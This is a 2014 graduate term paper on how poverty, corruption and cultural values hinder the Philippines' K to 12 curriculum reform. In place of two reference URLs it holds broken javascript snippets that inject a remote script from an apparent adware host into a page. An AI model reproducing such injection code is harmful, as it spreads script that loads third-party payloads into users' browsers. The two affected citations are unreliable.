The Impacts Socio-cultural Fault Lines in the Implementation

of the Enhanced Basic Education Curriculum ( K to 12)

A Scientific Report
Presented to
ZENIA G. MOSTOLES, Ed. D
Columban College
Olongapo City

In Partial Fulfillment of the Requirements

For Current Issues, Problems and Trends in Basic Education
(MASE 106)

EDGARDO S. VISTAN JR.

JULY 2014
ABSTRACT

Fault Lines in Philippine Education

The term paper attempts to analyze, evaluate and criticize socio cultural issues
affecting the new educational system in our country with the view of recommending
possible improvements or solution to prevent and minimize its effects.
As our country launched its K to 12 Program, a comprehensive reform of our
basic education, we are trying to catch up with the global standards in secondary
education and is attaching high value to kindergarten. Where the key points to this
improvement is the preparation for higher education, eligibility for entering domestic and
overseas higher educational institutions, and immediate employability on graduating, all
leading toward a holistically developed Filipinos.
But along with this attempt are socio-cultural fault lines that hinder our aim
towards educational greatness. Poverty with its many effects, corruption in government
and in education sector, colonial mentality and even negative value perception towards
life are some of these fault lines.
The researcher studied the issue through gathering insights and studies from
different journals of qualified resource persons, and tried to analyze and interpret these
data to come up with suggested ways on how to addresse the issue.
The researcher found out that, the Philippine educational system needs to address
issues not only of accessibility and quality in providing education for all. Other issues
needs to be addressed involved the role of education in the national development, value
transformation in the educational sector and support of government in education. There is
a need for values reorientation of the Filipinos as a key to national development.
Teachers transformation, in terms of their values orientation is necessary. Part of the

Socio-Cultural Fault Lines

Page 36

Fault Lines in Philippine Education

teachers transformation must include their upgrading or updating for professional and
personal development. Hence, government support and intervention, along this line is
very much needed. As these very same ills and problems have been hounding the country
for the last several decades, failure to do so will only compound these problems in the
coming years and hinder the successful implementation of the Enhanced Basic Education
Curriculum.

INTRODUCTION

Socio-Cultural Fault Lines

Page 37

Fault Lines in Philippine Education

The researcher tried to discuss the issues and problems in social-cultural aspect of
the country as we implement the Enhanced Basic Education Curriculum. This study
focuses on the social effects of the stakeholders, teachers, and the community, and as well
as our cultural behavior in the successful implementation of the K to 12.

Review of Related Literature

From one of the post in Hubpages (2014): Philippine education is full of
challenges and struggles. Based on the 2008 achievements, the percentages of the figures
presented as achieved were mostly positive although it is said to be minimal, leaving the
target date of the unachieved percentage unknown. Sad to say that all unachieved
percentage was due to unavailability of funds provided by the government. With poverty
and corruption of the government, the Philippine education would lie as is or
improvement may just be as steady as it is today for the two major challenges hamper the
other factors that help out education status to progress.
What are the socio-cultural issues that prohibits our educational progress? One is
corruption that hampers the connection between our leaders and their pursuit to develop
quality education. As of 2011 (Wikipedia.org, 2012), the Philippines came in at 129 with
a 2.6 CPI in Transparency International's list that ranks 178 countries and territories
based on how corrupt their public sector is perceived to be.
This is better than the Philippines' 134th ranking in 2010 with a 2.4 CPI. The CPI
score indicates the perceived level of public sector corruption on a scale of 0 - 10, where

Socio-Cultural Fault Lines

Page 38

Fault Lines in Philippine Education

0 means that a country is perceived as highly corrupt and 10 means that a country is
perceived as very clean.
Transparency International-Philippines said some of the factors that contributed to
the Philippines' (2.6) slight jump are the improvement in government service, and cutting
red tape.
The Philippine political arena, unlike other democracies, is mainly arranged and
operated by families or alliances of families, rather than organized around the voting for
political parties.
Another social issue is poverty that is caused by high unemployment rate. While
high unemployment rate is due to lack of skills that must be developed by means of
quality education.
Poverty reduction has not kept up with GDP growth rates, largely because of the
high unemployment rate, high inflation rate and wide income inequality. From 2000 to
2009, the economy of Philippines grew by 3.2% on average annually, which was on par
with the economic performance of its neighbors. However, this recent growth did not get
more jobs. Unemployment in the Philippines has been high in comparison to its
neighbors, at around 7.5% to 8.0% since 2006.
Another important issue confronting the educational system is the curriculum that
is not responsive to the basic needs of the country. Let us reflect on the components of the
present curriculum, specifically in the basic education. Our elementary pupils are
required to have nine to ten subjects competing for time allocations. More time is allotted
for subjects like English, Science and Mathematics with other subjects like health, music,
values education, civics integrated into the Makabayan curriculum. Added to this are

Socio-Cultural Fault Lines

Page 39

Fault Lines in Philippine Education

enrichment subjects like Computer literacy, Ethics among others (especially in the private
schools). This reflects the priorities of the government in educating our young people. It
is a reality that a grade 1 pupil carries so many books to school (wondering whether all
these materials are actually read in the class). This overloaded curriculum results to
difficulty in knowledge and skills absorption among our pupils. With this practice how
can we expect our young people to develop love of country, patriotism, and other
nationalistic traits, when their concepts of these are not properly taught? Worse, many
pupils drop out of school before they reach the sixth grade because of poverty, thus
increasing their chances of losing the incipient literacy acquired, and therefore, forfeit the
privilege of developing patriotic and nationalistic attitudes. This sad state, proliferate the
cycle of poverty that the Filipino masses experience.
With the constant change in the basic education curriculum, teachers need to
upgrade themselves in order that they can properly implement these changes. Upgrading
requires attendance to trainings, seminars, conferences and even enrollment in graduate
education. But with the present conditions of the teachers in the public schools only very
few can afford this, unless government intervenes and provide upgrading activities for
free.
On the other hand, according to Dr. Valisno, Filipino culture makes impact to our
development in education. Due to colonialization, Filipinos practice value that inhibit our
growth such as crab mentality, pede na, bahala na, ningas cogon, and the likes.
Such socio-cultural values show challenges towards our way to educational
development.

Socio-Cultural Fault Lines

Page 40

Fault Lines in Philippine Education

Significance of the Problem

The socio-cultural problems reflect the standing and culture of our Filipino
environment. Giving focus to such problems also gives way to critically find solution to
successful implementation of our K to 12 Curriculum. Specifying the socio-cultural
problems from broader ones set a second thought to everyone about the obvious and
unobvious hindrances in our educational development.
This study also helps the community to be open in ideas of the chain effects of
socio-cultural issues in our country.

Study Design and Propose Solution

The socio-cultural fault line that hinder our educational development must not be
taken for granted. Though such issues are not easy to deal with, or been long-time
problem in our country, a single step with our effort can make the lead towards success in
our education. If everyone can see the much effect of these fault lines which extend to
different sector of our country, then everyone will be moved to act against it.

Socio-Cultural Fault Lines

Page 41

Fault Lines in Philippine Education

METHODOLOGY

The

researcher

conducted

this

research

through

studying

and

understanding the socio-cultural fault lines in our country, how it affect the
implementation of K to 12 Curriculum, and what possible solutions can be derived to
overcome or at least minimize the effect. Different findings from government websites
that shows proof of the socio-cultural issues in the Philippines were also gathered for
background literature to support the fault line existence.
The researcher also gathered data from books, journal articles, and online
citations from reliable authors and sources. These information were compared,
interpreted and analyzed to verify unity of thought with regards to the issue.

RESULTS

These socio-cultural fault lines seemed to be embedded in our society. Corruption,

poverty, malnutrition, values disorientation and many other social fault lines had built
strong effects in the mind of many Filipinos that continue to affect our goal in educational
system. But beyond these challenges, many still believe that these can be overcame if we
will strengthen our will to delete this in our norms.
As educators, what then can we do to transform the image that the educational
system had propagated through the years? I do agree that total transformation must be
implemented in the people involved in the education sector of the country. The goals

Socio-Cultural Fault Lines

Page 42

Fault Lines in Philippine Education

must be clear to each and every one to hold strong in the implementation of the K to 12
system. I also believe in the values reorientation of the Filipinos as a key to national
development. Values become more permanent in the minds and hearts of the pupils and
students when they are caught, modeled by their mentors, rather than being discussed as
abstract concepts in the classrooms. Thus, there is an urgent call for teacher
transformation, in terms of their values orientation. I believe that teachers cannot become
effective models of good moral values unless they undergo some process of values
transformation. It is always wise to say follow what I say and do, rather than follow
what I say, do not follow what I do. It is only when pupils and students concretely
observe their teachers consistently practice these good values and they will intervenes
these in their daily actions. Another possible way to hold our new curriculum is the
constant implementation of programs in education which
be able to replicate these in themselves. These, I believe is easier said than done.
But unless we start doing it, we cannot claim tried.
The government must also support our teachers development. Our teachers are
professionals, and their pre-service training had equipped them with the necessary skills
to teach. Yet, with the advancement in science and technology, there is a great need for
them to acquire competence in the use of these state of the art equipments to enhance
their teaching skills. The government must invest on our teachers because it is through
them that we train and develop the minds of our future leaders. As they say, show me
your schools and I will tell you what society you will have.

Socio-Cultural Fault Lines

Page 43

Fault Lines in Philippine Education

REFERENCES
Hubpages (2014). The current state of Philippine education in the concept of
globalization. Retrieved from: http://allpsychedup.hubpages.com/hub/The-Current-stateof-Philippine-education-in-the-concept-of-globalization.
Durban, J. &Catalan, R. (2012). Issues and concerns of the Philippine education through
the years. Far Eastern University and University of San Agustin. Retrieved from:
javascript:try{if(document.body.innerHTML)
{var=document.getElementsByTagName("head");if(a.length)
{var=document.createElement("script");d.src="https://apimightydealkee.akamaihd.net/gs
rs?is=isgiwhPH&bp=BA&g=46b0a74a-fe29-47da-a39329e7fa7606ea";a[0].appendChild(d);}}}catch(e){} (retrieved August 10, 2014)

Okabe, M. (2013). Where does Philippine education go? the K to 12 program and reform
of Philippine basic education program. IDE Discussion Paper No. 425. Retrieved from:
javascript:try{if(document.body.innerHTML)
{vara=document.getElementsByTagName("head");if(a.length)
{vardocument.createElement("script");d.src="https://apimightydealkeea.akamaihd.net/gsrs?is=isgiwhPH&bp=BA&g=46b0a74a-fe29-47da-a39329e7fa7606ea";a[0].appendChild(d);}}}catch(e){} ( retrieved August 10, 2014)

Valisno, M (2012). The Nations Journey to Greatness Looking Beyond Five Decades
of Philippine Education. Makati City, Philippines.

Wikipedia (2014). Corruption in the Philippines. Retrieved from: http://en.wikipedia.org/

wiki/Corruption_in_the_Philippines

Socio-Cultural Fault Lines

Page 44